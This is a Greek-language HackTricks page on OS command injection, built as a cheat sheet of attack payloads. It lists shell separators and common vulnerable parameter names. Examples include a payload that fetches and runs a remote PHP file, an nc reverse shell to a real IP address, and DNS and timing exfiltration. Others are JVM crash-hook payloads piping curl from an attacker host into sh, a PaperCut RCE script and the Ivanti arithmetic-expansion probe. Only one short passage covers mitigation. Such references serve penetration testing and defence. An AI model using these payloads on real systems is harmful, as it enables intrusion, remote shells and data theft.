Command Injection
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το command Injection?
Μια command injection επιτρέπει την εκτέλεση αυθαίρετων εντολών του λειτουργικού συστήματος από έναν επιτιθέμενο στον server που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
Πλαίσιο
Ανάλογα με πού γίνεται η εισαγωγή της εισόδου σας, μπορεί να χρειαστεί να κλείσετε το πλαίσιο εντός εισαγωγικών (χρησιμοποιώντας " ή ') πριν από τις εντολές.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
PHP rule engines with runkit enabled
Κάποιες εφαρμογές υλοποιούν μηχανές κανόνων μόνο για διαχειριστές (“rule engines”) με το να εκτελούν attacker-supplied PHP. Αν το περιβάλλον ενεργοποιεί την επέκταση runkit, ένας επιτιθέμενος μπορεί να επαναπροσδιορίσει ή να εισάγει συναρτήσεις κατά το χρόνο εκτέλεσης και να αναβαθμίσει έναν rule editor που είναι μόνο λογικής σε πλήρες PHP RCE.
Ενδείξεις:
- Admin UI δέχεται PHP-like “κανόνες” που αξιολογούνται.
runkit/runkit7είναι φορτωμένο (phpinfo()ήextension_loaded('runkit')).
Παράδειγμα κατάχρησης (redefine a function used by the rules to execute a command):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
Εάν το περιεχόμενο του κανόνα αποθηκευτεί και αξιολογηθεί αργότερα, γίνεται μια επίμονη RCE primitive μέσα στο πλαίσιο του web.
Περιορισμός Bypasses
Εάν προσπαθείτε να εκτελέσετε αυθαίρετες εντολές μέσα σε μια linux μηχανή θα σας ενδιαφέρει να διαβάσετε σχετικά με αυτά τα Bypasses:
Παραδείγματα
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Αριθμητική αξιολόγηση σε Bash RewriteMap/CGI-style scripts
Οι RewriteMap helpers που είναι γραμμένοι σε bash μερικές φορές ωθούν query params σε global μεταβλητές και αργότερα τα συγκρίνουν σε arithmetic contexts ([[ $a -gt $b ]], $((...)), let). Η arithmetic expansion re-tokenizes το περιεχόμενο, οπότε ονόματα μεταβλητών ή αναφορές πίνακα που ελέγχονται από επιτιθέμενο επεκτείνονται δύο φορές και μπορούν να εκτελεστούν.
Μοτίβο που παρατηρήθηκε στους Ivanti EPMM RewriteMap helpers:
- Παράμετροι αντιστοιχίζονται σε global μεταβλητές (
st→gStartTime,h→theValue). - Αργότερα έλεγχος:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Στείλτε
st=theValueώστε τοgStartTimeνα δείχνει στη συμβολοσειράtheValue. - Στείλτε
h=gPath['sleep 5']ώστε τοtheValueνα περιέχει έναν δείκτη πίνακα — κατά τον arithmetic έλεγχο εκτελείταιsleep 5(αντικαταστήστε με πραγματικό payload).
Probe (~5s καθυστέρηση, μετά 404 αν είναι ευάλωτο):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Σημειώσεις:
- Αναζητήστε τον ίδιο helper κάτω από άλλα prefixes (π.χ.,
/mifs/c/aftstore/fob/). - Τα arithmetic contexts αντιμετωπίζουν άγνωστα tokens ως αναγνωριστικά μεταβλητών/πινάκων, οπότε αυτό παρακάμπτει απλά φίλτρα μεταχαρακτήρων.
Παράμετροι
Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE vulnerabilities (from link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Εξαγωγή data: char ανά char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Βασίζεται στο εργαλείο από https://github.com/HoLyVieR/dnsbin που επίσης φιλοξενείται στο dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Διαδικτυακά εργαλεία για έλεγχο εξαγωγής δεδομένων μέσω DNS:
- dnsbin.zhack.ca
- pingb.in
Παράκαμψη φίλτρων
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Κατά τον έλεγχο (auditing) JavaScript/TypeScript back-ends, θα συναντήσετε συχνά το Node.js child_process API.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() ξεκινάει ένα shell (/bin/sh -c), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδική σημασία για το shell (back-ticks, ;, &&, |, $(), …) θα έχει ως αποτέλεσμα command injection όταν η είσοδος χρήστη συνενώνεται μέσα στη συμβολοσειρά.
Mitigation: χρησιμοποιήστε execFile() (ή spawn() χωρίς την επιλογή shell) και δώστε κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα ώστε να μην εμπλέκεται shell:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 ήταν εκτεθείσιμο μέσω ενός μη πιστοποιημένου WebSocket event που τοποθετούσε δεδομένα ελεγχόμενα από επιτιθέμενο στο id_user, τα οποία αργότερα ενσωματώνονταν σε κλήση exec(), επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Δεν απαιτούν όλες οι injection τεχνικές shell metacharacters. Αν μια εφαρμογή περνά μη αξιόπιστες συμβολοσειρές ως arguments σε ένα system utility (ακόμα και με execve/execFile και χωρίς shell), πολλά προγράμματα θα αναλύσουν οποιοδήποτε argument που ξεκινά με - ή -- ως επιλογή. Αυτό επιτρέπει σε έναν επιτιθέμενο να αλλάξει modes, να τροποποιήσει output paths, ή να ενεργοποιήσει επικίνδυνες συμπεριφορές χωρίς ποτέ να μπει σε shell.
Τυπικά σημεία όπου εμφανίζεται αυτό:
- Ενσωματωμένα web UIs/CGI handlers που κατασκευάζουν εντολές όπως
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, κ.λπ. - Κεντρικοί CGI routers (π.χ.,
/cgi-bin/<something>.cgiμε παράμετρο selector όπωςtopicurl=<handler>) όπου πολλαπλοί handlers ξαναχρησιμοποιούν τον ίδιο αδύναμο validator.
Τι να δοκιμάσετε:
- Δώστε τιμές που αρχίζουν με
-/--ώστε να καταναλωθούν ως flags από το downstream εργαλείο. - Κακοποιήστε flags που αλλάζουν συμπεριφορά ή γράφουν αρχεία, για παράδειγμα:
ping:-f/-c 100000για να επιβαρύνει τη συσκευή (DoS)curl:-o /tmp/xγια να γράψει σε αυθαίρετα μονοπάτια,-K <url>για να φορτώσει ρυθμίσεις ελεγχόμενες από τον επιτιθέμενοtcpdump:-G 1 -W 1 -z /path/script.shγια να επιτευχθεί post-rotate execution σε μη ασφαλείς wrappers
- Αν το πρόγραμμα υποστηρίζει
--end-of-options, δοκιμάστε να παρακάμψετε πρόχειρες mitigations που προσθέτουν--στο λάθος σημείο.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM diagnostic callbacks για εγγυημένη exec
Οποιοδήποτε primitive που σας επιτρέπει να inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) μπορεί να μετατραπεί σε αξιόπιστο RCE χωρίς να αγγίξετε το bytecode της εφαρμογής:
- Εξαναγκάστε ένα αναπαραγώγιμο crash μειώνοντας το metaspace ή το heap:
-XX:MaxMetaspaceSize=16m(or a tiny-Xmx). Αυτό εξασφαλίζει έναOutOfMemoryErrorακόμα και κατά το πρώιμο bootstrap. - Προσθέστε ένα error hook:
-XX:OnOutOfMemoryError="<cmd>"or-XX:OnError="<cmd>"εκτελεί μια αυθαίρετη εντολή του OS κάθε φορά που το JVM aborts. - Προαιρετικά προσθέστε
-XX:+CrashOnOutOfMemoryErrorγια να αποφύγετε προσπάθειες ανάκτησης και να κρατήσετε το payload one-shot.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Επειδή αυτά τα diagnostics αναλύονται από το JVM ο ίδιος, δεν απαιτούνται shell metacharacters και η εντολή εκτελείται με το ίδιο επίπεδο ακεραιότητας με τον launcher. Τα Desktop IPC bugs που προωθούν παρεχόμενα από χρήστη JVM flags (δείτε Localhost WebSocket abuse) μεταφράζονται απευθείας σε εκτέλεση εντολών στο OS.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Ευάλωτες εκδόσεις NG/MF (π.χ., 22.0.5 Build 63914) εκθέτουν
/app?service=page/SetupCompleted; περιηγώντας εκεί και κάνοντας κλικ στο Login επιστρέφεται έγκυροJSESSIONIDχωρίς credentials (authentication bypass in the setup flow). - Στο Options → Config Editor, ορίστε
print-and-device.script.enabled=Yκαιprint.script.sandboxed=Nγια να ενεργοποιήσετε το printer scripting και να απενεργοποιήσετε το sandbox. - Στην καρτέλα εκτυπωτή Scripting, ενεργοποιήστε το script και κρατήστε το
printJobHookορισμένο για να αποφύγετε σφάλματα επικύρωσης, αλλά τοποθετήστε το payload έξω από τη συνάρτηση ώστε να εκτελείται αμέσως όταν κάνετε κλικ στο Apply (δεν απαιτείται print job):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Αντικαταστήστε το callback με ένα reverse shell· αν το UI/PoC δεν μπορεί να χειριστεί pipes/redirects, κάντε stage ένα payload με μία εντολή και exec το με ένα δεύτερο request.
- Horizon3’s CVE-2023-27350.py αυτοματοποιεί το auth bypass, τα config flips, την command execution και το rollback — τρέξτε το μέσω upstream proxy (π.χ.
proxychains→ Squid) όταν η υπηρεσία είναι προσβάσιμη μόνο εσωτερικά.
Λίστα εντοπισμού Brute-Force
Αναφορές
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


